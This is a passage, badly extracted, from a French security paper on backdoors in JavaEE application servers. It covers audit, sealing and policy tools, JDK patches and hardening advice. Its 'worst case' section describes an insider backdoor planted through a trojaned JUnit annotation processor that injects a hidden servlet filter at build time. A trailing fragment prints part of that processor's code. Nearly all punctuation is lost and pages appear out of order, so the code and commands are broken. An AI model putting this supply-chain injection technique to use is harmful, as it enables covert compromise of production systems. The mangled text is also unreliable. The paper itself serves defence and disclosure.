macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

